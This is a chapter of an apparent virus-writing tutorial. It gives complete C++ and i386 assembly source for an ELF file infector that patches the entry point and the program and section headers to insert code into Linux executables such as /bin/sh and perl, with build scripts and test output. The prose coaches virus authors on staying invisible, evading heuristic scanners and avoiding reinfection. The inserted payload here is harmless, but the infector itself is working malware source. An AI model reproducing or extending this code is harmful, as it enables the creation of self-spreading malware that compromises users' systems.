Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force. | |
Darth Vader |
This chapter is about a first stage infector. A program that inserts our code into any executable we specify on the command line.
This code could easily be squeezed into a single function. But for clarity I split it into parts that manipulate a central data structure. And just for the hell of it I coded it in C++. This way I can present the pieces in random order.
Source: src/one_step_closer/target.h
class Target
{
public:
Target(const char* filename);
~Target();
bool isOpen() { return fd_dst != -1; }
bool isSuitable();
unsigned newEntryAddr();
bool patchEntryAddr();
bool patchPhdr();
bool patchShdr();
bool copyAndInfect();
unsigned writeInfection(); // returns number of written bytes
private:
enum { INFECTION_SIZE = 0x1000 };
static const unsigned char infection[];
int fd_dst; /* opened write-only */
int fd_src; /* opened read-only */
off_t filesize;
unsigned aligned_filesize;
/* start of memory-mapped image, b means byte */
union { void* v; unsigned char* b; Elf32_Ehdr* ehdr; } p;
/* offset to first program header (in file) */
Elf32_Phdr* phdr;
/* offset to first byte after code segment (in file) */
unsigned end_of_cs;
unsigned aligned_end_of_cs;
/* start of host code (in memory) */
unsigned original_entry;
};
/* align up to multiple of 16 */
inline unsigned alignUp(unsigned n) { return (n + 15) & ~15; } |
The value of INFECTION_SIZE exceeds actual code size by far. But it is the only amount that works. The reason for this is buried in the ELF specification.
[…] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size. Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. […]
Let's take another look at the output of readelf. Above quote means that the last three digits of Offset must equal the last three digits of VirtAddr. This is the case for every program header. So unless we change VirtAddr as well (which means relocation of every access to a global variable), we are stuck with 0x1000.
Maximum code size is further restricted by alignment. The i386 and descendants can execute misaligned code, though with a performance penalty. alignUp will take at most 15 bytes.
Up to now our code is intended to be stand-alone. The obvious fix is to replace the call to exit(2) with a jmp. But I think it's a better idea to let our code end with an unsuspiciuos ret instead. And we can put the matching push at the start of the code to have the actual return address at a constant location. And while we are at it, saving all registers and the flags can't be bad.
The last line of assembler code is used to specify the offset to the location to patch with the original entry address. This definition is used by function writeInfection below. But it really is a property of Target::infection. Having it in a separate file enables independent changing of infection code.
Source: src/one_step_closer/i1/infection.asm
BITS 32
start: push dword 0 ; replace with original entry address
pushf
pusha
push byte 4
pop eax ; eax = 4 = write(2)
xor ebx,ebx
inc ebx ; ebx = 1 = stdout
mov ecx,0x08048001 ; ecx = magic address
push byte 3
pop edx ; edx = 3 = three characters
int 0x80
popa
popf
ret
push byte start + 1 ; dummy instruction to specify ofs |
Command: src/one_step_closer/infection.sh
#!/bin/sh
dst=$1
shift
project=${dst#${OUT}/}
project=${project%/*}
nasm -f bin src/${project}/infection.asm \
-o ${TMP}/${project}/infection \
&& ndisasm -U ${TMP}/${project}/infection \
| src/evil_magic/ndisasm.pl \
"-identfier=Target::infection" \
"-last_line_is_ofs=" \
"$@" > ${dst} |
We reuse the filter from Dressing up binary code. The __attribute__ clause clause is explained in A section called .text. This example works without.
Output = Source: out/redhat-linux-i386/one_step_closer/i1/infection.inc
const unsigned char Target::infection[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x68,0x00,0x00,0x00,0x00, /* 00000000: push dword 0x0 */
0x9C, /* 00000005: pushf */
0x60, /* 00000006: pusha */
0x6A,0x04, /* 00000007: push byte +0x4 */
0x58, /* 00000009: pop eax */
0x31,0xDB, /* 0000000A: xor ebx,ebx */
0x43, /* 0000000C: inc ebx */
0xB9,0x01,0x80,0x04,0x08, /* 0000000D: mov ecx,0x8048001 */
0x6A,0x03, /* 00000012: push byte +0x3 */
0x5A, /* 00000014: pop edx */
0xCD,0x80, /* 00000015: int 0x80 */
0x61, /* 00000017: popa */
0x9D, /* 00000018: popf */
0xC3 /* 00000019: ret */
};
enum { ENTRY_POINT_OFS = 0x1 }; |
Nothing special here. Though you could object to the use of fprintf(3) instead of cerr. But then perror(3) is the only other type of diagnostic message you will find below.
Source: src/one_step_closer/main.inc
int main(int argc, char** argv)
{
char** pp = argv;
const char* p;
while(0 != (p = *++pp))
{
fprintf(stderr, "Infecting copy of %s... ", p);
Target target(p);
if (target.isOpen()
&& target.isSuitable()
&& target.patchEntryAddr()
&& target.patchPhdr()
&& target.patchShdr()
&& target.copyAndInfect()
)
fprintf(stderr, "Ok\n");
}
return 0;
} |
Modifying a file in place, as opposed to writing a copy, is possible but difficult. And between first and final modification contents of the target is invalid. Imagine a worst-case scenario of a virus infecting /bin/sh being interrupted through a power failure (or emergency shutdown of a hectic admin).
There are a few approaches to change a file while copying.
Use lseek(2), read(2) and write(2) to load pieces of the source into memory, patch them, and write them to destination. A lot of work. Can be really inefficient.
Use read(2) to get the whole source file in one go. Requires more memory. But then even the largest executable files have only a few MB.
Use mmap(2). In my humble opinion obviously the best way.
Source: src/one_step_closer/ctor.inc
Target::Target(const char* src_filename)
: fd_dst(-1), fd_src(-1)
{
const char* base = strrchr(src_filename, '/');
std::string dst_filename((base == 0) ? src_filename : base + 1);
dst_filename += "_infected";
fd_src = open(src_filename, O_RDONLY);
if (fd_src >= 0)
{
filesize = lseek(fd_src, 0, SEEK_END);
if ((off_t)-1 != filesize)
{
aligned_filesize = alignUp(filesize);
p.v = mmap(0, filesize, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd_src, 0);
if (MAP_FAILED != p.v)
{
fd_dst = open(dst_filename.c_str(),
O_WRONLY | O_CREAT | O_TRUNC, 0775);
if (fd_dst >= 0)
return;
perror("open");
}
else
perror("mmap");
}
else
perror("lseek");
}
else
perror("open");
} |
Source: src/one_step_closer/dtor.inc
Target::~Target()
{
if (p.v != 0)
munmap(p.v, filesize);
close(fd_src);
close(fd_dst);
} |
A visible virus is a dead virus. Breaking things is quite the opposite of invisibility. So before you think about polymorphism and stealth mechanisms you should go sure your code does nothing unexpected.
On the other hand exhaustive checks of target files will severely increase code size. And verifying signatures and other constant values is likely to make the virus code itself a constant signature. A better approach is to compare the target with the host executable currently running the virus.
Source: src/one_step_closer/suitable.inc
bool Target::isSuitable()
{
enum
{
CMP_SIZE_1 = offsetof(Elf32_Ehdr, e_entry),
CMP_SIZE_2 = offsetof(Elf32_Ehdr, e_shentsize)
- offsetof(Elf32_Ehdr, e_flags)
};
Elf32_Ehdr* self = (Elf32_Ehdr*)0x8048000;
Elf32_Phdr* self_phdr = (Elf32_Phdr*)((char*)self + self->e_phoff);
phdr = (Elf32_Phdr*)(p.b + p.ehdr->e_phoff);
if (0 != memcmp(&p.ehdr->e_ident, &self->e_ident, CMP_SIZE_1))
return false;
if (p.ehdr->e_phoff != self->e_phoff)
return false;
if (0 != memcmp(&p.ehdr->e_flags, &self->e_flags, CMP_SIZE_2))
return false;
/* the type of these headers must be PT_LOAD */
if (phdr[2].p_type != self_phdr[2].p_type)
return false;
if (phdr[3].p_type != self_phdr[3].p_type)
return false;
/* a code segment with trailing 0-bytes makes no sense, anyway */
if (phdr[2].p_filesz != phdr[2].p_memsz)
return false;
end_of_cs = phdr[2].p_offset + phdr[2].p_filesz;
aligned_end_of_cs = alignUp(end_of_cs);
return true;
} |
Without this function the behavior of the target is not modified. This can be used for vaccination, in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.
Source: src/one_step_closer/e1/patch_entry_addr.inc
bool Target::patchEntryAddr()
{
original_entry = p.ehdr->e_entry;
p.ehdr->e_entry = newEntryAddr();
return true; /* this implementation can't fail */
} |
Source: src/one_step_closer/new_entry_addr.inc
unsigned Target::newEntryAddr()
{
/* matches with aligned_end_of_cs */
return alignUp(phdr[2].p_vaddr + phdr[2].p_filesz);
} |
Another important issue is avoidance of multiple infections. It might take a while until increased file size gets noticed. But imagine a /bin/sh infected with a few dozen instances of the same virus. The runtime overhead of all these instances trying to find and infect other executables (either sequentially or in parallel forked processes) will significantly slow down every single shell script.
Obviously any presence indicator can be used by heuristic scanners. My recommendation is to use an innocent property that could also be matched by regular executables. It is not a problem if your checking routine rejects some suitable targets.
For this example I just declare a bug to be a feature. Since INFECTION_SIZE is required to be 0x1000 bytes, a duplicate infection is impossible by design.
Source: src/one_step_closer/patch_phdr.inc
bool Target::patchPhdr()
{
/* distance between code and data segment (in memory) */
size_t delta = phdr[3].p_vaddr - phdr[2].p_vaddr - phdr[2].p_memsz - 1;
if (delta < INFECTION_SIZE)
return false;
phdr[2].p_filesz += INFECTION_SIZE;
phdr[2].p_memsz += INFECTION_SIZE;
Elf32_Phdr* entry = phdr;
for(unsigned nr = p.ehdr->e_phnum; nr > 0; nr--, entry++)
{
if (entry->p_offset > end_of_cs)
entry->p_offset += INFECTION_SIZE;
}
return true;
} |
This part is not strictly required. The resulting executable works without. But readelf(1) will bitterly complain. And strip(1) will break infected executables if not every byte of code is accounted for in some section.
Source: src/one_step_closer/patch_shdr.inc
bool Target::patchShdr()
{
Elf32_Shdr* shdr = (Elf32_Shdr*)(p.b + p.ehdr->e_shoff);
for(unsigned nr = p.ehdr->e_shnum; nr > 0; nr--, shdr++)
{
if (shdr->sh_offset > end_of_cs)
{
/* move all following sections down */
shdr->sh_offset += INFECTION_SIZE;
}
else if (shdr->sh_offset + shdr->sh_size == end_of_cs)
{
/* increase length of last section of code-segment (.rodata) */
shdr->sh_size += INFECTION_SIZE;
}
}
p.ehdr->e_shoff += INFECTION_SIZE;
return true; /* this implementation can't fail */
} |
Source: src/one_step_closer/copy_and_infect.inc
bool Target::copyAndInfect()
{
write(fd_dst, p.b, end_of_cs); // first part of original target
lseek(fd_dst, aligned_end_of_cs, SEEK_SET);
unsigned code_size = writeInfection();
fprintf(stderr, "wrote %u bytes, ", code_size);
lseek(fd_dst, end_of_cs + INFECTION_SIZE, SEEK_SET);
/* rest of original target */
write(fd_dst, p.b + end_of_cs, filesize - end_of_cs);
return true;
} |
Source: src/one_step_closer/write_infection.inc
unsigned Target::writeInfection()
{
/* first byte is the opcode for "push" */
write(fd_dst, infection, ENTRY_POINT_OFS);
/* next four bytes is the address to "ret" to */
write(fd_dst, &original_entry, sizeof(original_entry));
/* rest of infective code */
enum { REST_OFS = ENTRY_POINT_OFS + sizeof(original_entry) };
write(fd_dst, infection + REST_OFS, sizeof(infection) - REST_OFS);
return sizeof(infection);
} |
Command: src/one_step_closer/cc.sh
#!/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
g++ -Wall -O2 -g \
-I src/one_step_closer/${entry_addr} \
-I ${OUT}/${project}/${infection} \
-o ${TMP}/${project}/${entry_addr}${infection}/infector \
src/${project}/*.cxx \
&& cd ${TMP}/${project}/${entry_addr}${infection} \
&& ./infector /bin/tcsh /usr/bin/perl /usr/bin/which /bin/sh |
Output: out/redhat-linux-i386/one_step_closer/e1i1/cc
Infecting copy of /bin/tcsh... wrote 26 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 26 bytes, Ok
Infecting copy of /usr/bin/which... wrote 26 bytes, Ok
Infecting copy of /bin/sh... wrote 26 bytes, Ok |
A simple shell script will do as test.
Command: out/redhat-linux-i386/one_step_closer/test-e1i1.sh
#!tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected
echo $BASH
echo $BASH_VERSION
which which
tmp/redhat-linux-i386/one_step_closer/e1i1/which_infected which
tmp/redhat-linux-i386/one_step_closer/e1i1/tcsh_infected -fc 'echo $version'
tmp/redhat-linux-i386/one_step_closer/e1i1/perl_infected -v | head -2
echo
strip tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected \
-o tmp/redhat-linux-i386/one_step_closer/e1i1/strip_sh_infected \
&& tmp/redhat-linux-i386/one_step_closer/e1i1/strip_sh_infected --version |
Output: out/redhat-linux-i386/one_step_closer/test-e1i1
ELF/home/alba/virus-writing-HOWTO/tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected
2.05.8(1)-release
/usr/bin/which
ELF/usr/bin/which
ELFtcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
ELF
This is perl, v5.6.1 built for i386-linux
ELFGNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
Copyright 2000 Free Software Foundation, Inc. |
The Force is strong with this one.